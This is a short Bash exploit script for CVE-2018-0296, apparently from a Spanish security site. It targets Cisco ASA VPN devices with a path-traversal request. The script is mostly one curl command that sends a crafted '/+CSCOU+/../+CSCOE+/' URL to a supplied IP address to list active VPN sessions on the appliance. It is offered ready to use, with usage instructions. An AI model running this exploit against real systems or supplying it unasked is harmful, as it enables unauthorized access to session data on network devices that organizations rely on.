CVE-2018-0296.sh

# CVE-2018-0296
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd
# hackingyseguridad.com
echo "Exploit Path Traversal Cisco ASA VPN"
echo "Vulnerabilidad CVE-2018-0296"
echo "Uso.: sh CVE-2018-0296.sh IP"
#!/bin/bash
curl --path-as-is --request GET -k \
-H "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0" \
-H "Accept: text/html, applicattion/xhtml+xml, application/xml;q=0.9,*/*;q=0.8" \
-H "Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3" \
-H "Connection: keep-alive" \
"https://$1/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"